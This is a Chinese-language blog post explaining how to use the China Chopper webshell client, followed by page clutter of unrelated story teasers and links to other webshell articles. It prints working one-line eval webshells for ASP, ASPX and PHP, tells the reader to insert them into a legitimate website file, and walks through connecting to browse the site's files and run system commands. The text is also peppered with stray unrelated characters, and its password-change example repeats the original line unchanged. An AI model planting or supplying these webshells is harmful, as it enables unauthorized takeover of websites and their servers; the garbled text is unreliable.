首先說一下菜刀的功能痹届，菜刀是用來連一句話的幸撕，asp蹬蚁、aspx恃泪、php的一句話菜刀都可以連，只是這幾種一句話語(yǔ)句不一樣犀斋。
asp的一句話是：<%eval request(“pass”)%>
aspx的一句話是：<%@ Page Language=”Jscript”%><%eval(Request.Item["pass"],”unsafe”);%>
php的一句話是：<?php @eval($_POST['pass']);?>
這幾個(gè)一句話的密碼都是pass贝乎，也就是雙引號(hào)或者單引號(hào)包含著的這部分，比如我想把a(bǔ)sp的一句話的密碼改成drvfan叽粹，那么改完之后就是這樣的：
<%eval request(“pass”)%>
其他同理览效。
要想連一句話，你首先得把這個(gè)一句話插入到一個(gè)正常的網(wǎng)站文件中虫几，asp的一句話插入到asp文件里锤灿，aspx的一句話插入到aspx文件里，php同理持钉。
當(dāng)然衡招，你也可以把一句話單獨(dú)寫在一個(gè)文件里，比如你新建了一個(gè)asp文件每强，這個(gè)asp文件的全部?jī)?nèi)容就只有一個(gè)一句話始腾，也是可以的州刽。
插入了一句話木馬，下面就是連接了浪箭。
在菜刀主界面穗椅，右擊，選擇“添加”奶栖，
在“地址”這里填上你插入一句話的文件的地址匹表，后邊的那個(gè)小框填的是你的一句話的密碼，其他的不用填宣鄙，
填完之后單擊“添加”袍镀，就可以了。
添加完畢后冻晤，你的這個(gè)一句話的shell會(huì)顯示到主界面里苇羡，右擊它，選擇“文件管理”鼻弧，就可以看到網(wǎng)站上的文件了
在菜刀里還有一個(gè)功能设江，是“虛擬終端”，也是在右鍵菜單里的攘轩，這個(gè)相當(dāng)于webshell中的執(zhí)行DOS命令的功能
如果你的shell有權(quán)執(zhí)行DOS命令叉存，那么直接輸入命令回車就可以看到結(jié)果了
中國(guó)的一句話和菜刀
最后編輯于 ：
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
- 文/潘曉璐 我一進(jìn)店門拂苹，熙熙樓的掌柜王于貴愁眉苦臉地迎上來安聘，“玉大人，你說我怎么就攤上這事瓢棒≡【拢” “怎么了？”我有些...
- 文/不壞的土叔 我叫張陵脯宿，是天一觀的道長(zhǎng)念颈。 經(jīng)常有香客問我，道長(zhǎng)连霉，這世上最難降的妖魔是什么榴芳？ 我笑而不...
- 正文 為了忘掉前任嗡靡，我火速辦了婚禮，結(jié)果婚禮上窟感，老公的妹妹穿的比我還像新娘讨彼。我一直安慰自己，他們只是感情好柿祈，可當(dāng)我...
- 文/花漫 我一把揭開白布哈误。 她就那樣靜靜地躺著，像睡著了一般躏嚎。 火紅的嫁衣襯著肌膚如雪蜜自。 梳的紋絲不亂的頭發(fā)上，一...
- 文/蒼蘭香墨 我猛地睜開眼荞彼，長(zhǎng)吁一口氣：“原來是場(chǎng)噩夢(mèng)啊……” “哼！你這毒婦竟也來了待笑？” 一聲冷哼從身側(cè)響起鸣皂，我...
- 序言：老撾萬(wàn)榮一對(duì)情侶失蹤，失蹤者是張志新（化名）和其女友劉穎暮蹂，沒想到半個(gè)月后寞缝，有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體，經(jīng)...
- 正文 獨(dú)居荒郊野嶺守林人離奇死亡仰泻，尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
- 正文 我和宋清朗相戀三年荆陆，在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片集侯。...
- 正文 年R本政府宣布辈讶，位于F島的核電站命浴，受9級(jí)特大地震影響，放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜生闲，卻給世界環(huán)境...
- 文/蒙蒙 一媳溺、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧跪腹，春花似錦褂删、人聲如沸。這莊子的主人今日做“春日...
- 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至轴术，卻和暖如春难衰，著一層夾襖步出監(jiān)牢的瞬間，已是汗流浹背逗栽。 一陣腳步聲響...
- 正文 我出身青樓鳄虱，卻偏偏與公主長(zhǎng)得像，于是被迫代替她去往敵國(guó)和親凭峡。 傳聞我的和親對(duì)象是個(gè)殘疾皇子拙已，可洞房花燭夜當(dāng)晚...
推薦閱讀更多精彩內(nèi)容
- （源自摘抄整理）https://www.91ri.org/11494.html Webshell實(shí)現(xiàn)與隱藏探究 一...
- Web Shell客戶端： 中國(guó)菜刀的客戶端可在www.maicaidao.com下載到， Web shell (...
- 黑客在入侵企業(yè)網(wǎng)站時(shí)摧冀，通常要通過各種方式獲取webshell從而獲得企業(yè)網(wǎng)站的控制權(quán)倍踪，然后方便進(jìn)行之后的入侵行為。...
- 刀背藏身 0X01 簡(jiǎn)單原理 在我們進(jìn)行滲透測(cè)試的最后階段索昂，入侵到內(nèi)網(wǎng)里建车，無(wú)論是想要瀏覽網(wǎng)站結(jié)構(gòu)，還是抓取數(shù)據(jù)庫(kù)椒惨，...
